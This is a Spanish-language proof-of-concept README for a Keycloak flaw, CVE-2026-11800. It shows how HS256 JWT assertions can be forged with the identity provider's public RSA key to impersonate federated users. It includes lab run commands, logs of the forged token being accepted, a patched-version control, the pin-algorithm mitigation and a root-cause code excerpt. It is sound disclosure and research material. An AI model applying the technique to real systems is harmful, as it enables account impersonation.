
Prueba de concepto para CVE-2026-11800: falsifica aserciones JWT HS256 usando los bytes DER de la clave pública RSA del IdP de Keycloak para acuñar tokens para usuarios federados, con un laboratorio vulnerable/corregido.
Confusión de algoritmo en el flujo de concesión de autorización JWT de Keycloak (grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer).
Cuando un proveedor de identidad federado se configura con una clave pública codificada de forma fija (useJwksUrl=false)
y no se fija ningún algoritmo de aserción (jwtAuthorizationGrantAssertionSignatureAlg sin establecer, el
valor predeterminado), el validador del algoritmo de firma acepta cualquier alg que declare la cabecera de la aserción,
y el cargador de clave codificada de forma fija incluye una rama HMAC que convierte la cadena de clave pública configurada
en una clave secreta OCT. Un atacante que posee credenciales de cliente válidas y conoce la clave pública RSA
del IdP —material público por definición— firma una aserción con HS256 usando como clave los bytes DER de la clave
pública RSA; el servidor carga esos mismos bytes como clave de verificación HMAC, la
firma se valida y Keycloak emite un token de acceso válido para cualquier usuario federado de ese
IdP. En ningún momento interviene una clave privada. Corregido en 26.6.4 al rechazar algoritmos simétricos en
los validadores de clave pública JWT y eliminar la rama HMAC (PR #50374).
Levante ambos objetivos (26.6.3 vulnerable en :8081, 26.6.4 corregido en :8082):
docker compose -p cve-2026-11800 up -d
Espere a que ambos estén listos y, a continuación, ejecute el PoC contra la instancia vulnerable:
python3 poc.py --url http://127.0.0.1:8081 --admin-user admin --admin-password kcPocAdmin2026
y el control corregido:
python3 poc.py --url http://127.0.0.1:8082 --admin-user admin --admin-password kcPocAdmin2026
--url URL base del Keycloak objetivo. --admin-user/--admin-password el administrador de arranque
(KC_BOOTSTRAP_ADMIN_USERNAME/KC_BOOTSTRAP_ADMIN_PASSWORD arriba); poc.py aprovisiona su propio
test-realm mediante la API REST de administración (eliminación + creación del realm, de modo que las reejecuciones son idempotentes).
--pin-alg RS256 además establece jwtAuthorizationGrantAssertionSignatureAlg en el IdP:
la mitigación del proveedor, que debe rechazar la misma aserción falsificada incluso en una compilación vulnerable.
Si el kernel del host del laboratorio no puede montar overlayfs (docker pull/save siguen funcionando pero
run/build fallan), setup/boot-lab.sh reproduce en su lugar los mismos bits de imagen:
setup/boot-lab.sh # unpacks quay images and boots both servers via proot
setup/unpack-images.py realiza la fusión de capas con reconocimiento de whiteouts; consulte su cabecera para más detalles.
26.6.3 vulnerable (evidence/01-trigger-vuln-26.6.3.log, captura sin procesar; los valores base64 largos
se omiten aquí por legibilidad, los valores completos están en el archivo de evidencia):
[*] TARGET: http://127.0.0.1:8081
[*] RSA public key generated: 294 DER SubjectPublicKeyInfo bytes
[*] HMAC secret = those 294 public DER bytes (base64 of them goes into the IdP config)
[*] provisioned realm test-realm: IdP authorization-grant-idp-alias (hardcoded public key, grant enabled, assertion alg NOT pinned), client test-app, federated user basic-user (id 90f09889-f912-40d3-abf8-0a7b017a214d, IdP subject basic-user-id)
[*] RAW REQUEST: POST http://127.0.0.1:8081/realms/test-realm/protocol/openid-connect/token
[*] grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer client_id=test-app assertion(alg=HS256, sub=basic-user-id, aud=http://127.0.0.1:8081/realms/test-realm)
[*] forged assertion: eyJhbG[...]
[*] RESPONSE STATUS: 200
[*] RESPONSE BODY: {"access_token": "eyJhbG[...]", "expires_in": 300, "refresh_expires_in": 0, "token_type": "Bearer", "not-before-policy": 0, "scope": "email profile"}
[*] MINTED TOKEN preferred_username: basic-user
[*] MINTED TOKEN sub: 90f09889-f912-40d3-abf8-0a7b017a214d azp: test-app iss: http://127.0.0.1:8081/realms/test-realm
[+] VULNERABLE: forged HS256 assertion ACCEPTED - access token minted for the federated user 'basic-user' without any private key.
El preferred_username del token acuñado es basic-user - el usuario federado vinculado al
IdP con el subject del lado del IdP basic-user-id - lo que demuestra la suplantación, no solo
un bypass de firma. Código de salida 0 = vulnerable.
Corregido en 26.6.4, aprovisionamiento idéntico y aserción falsificada idéntica
(evidence/02-control-fixed-26.6.4.log):
[*] RESPONSE STATUS: 400
[*] RESPONSE BODY: {"error": "invalid_grant", "error_description": "Invalid signature algorithm"}
[-] NOT VULNERABLE: forged HS256 assertion rejected - invalid_grant: Invalid signature algorithm
El diferencial de versiones es el control: el mismo script, la misma receta de aprovisionamiento,
la misma aserción falsificada - aceptada en 26.6.3, rechazada en 26.6.4. Un segundo control fija
el algoritmo de la aserción en la compilación vulnerable (evidence/03-mitigation-pin-alg-vuln-26.6.3.log):
26.6.3 con jwtAuthorizationGrantAssertionSignatureAlg=RS256 también rechaza la aserción HS256
con el mismo 400, que es la mitigación documentada para instalaciones que no pueden
actualizar de inmediato.
Tres piezas encajan en 26.6.3:
Sin algoritmo esperado no hay comprobación de algoritmo. La validación de la aserción
del grant termina en AbstractBaseJWTValidator.validateSignatureAlgorithm(String expected),
a la que se llega a través de JWTAuthorizationGrantType.process ->
JWTAuthorizationGrantValidator -> JWTAuthorizationGrantIdentityProvider.verifySignature.
El método vulnerable solo rechaza una aserción cuyo encabezado alg difiere del
algoritmo esperado configurado - y para el JWT authorization grant el algoritmo esperado
es jwtAuthorizationGrantAssertionSignatureAlg, que no está definido por defecto
(getAssertionSignatureAlg() devuelve null). Sin expectativa configurada, la comparación
se omite y cualquier nombre de algoritmo pasa, incluidos los simétricos HS256/HS384/HS512.
El cargador de clave codificada construye sin problema una clave HMAC. Con useJwksUrl=false
la clave de verificación la produce HardcodedPublicKeyLoader, cuyo constructor decide
según el algoritmo del encabezado del token:
} else if (JavaAlgorithm.isHMACJavaAlgorithm(algorithm)) {
keyWrapper.setType(KeyType.OCT);
keyWrapper.setSecretKey(KeyUtils.loadSecretKey(Base64Url.decode(encodedKey), algorithm));
}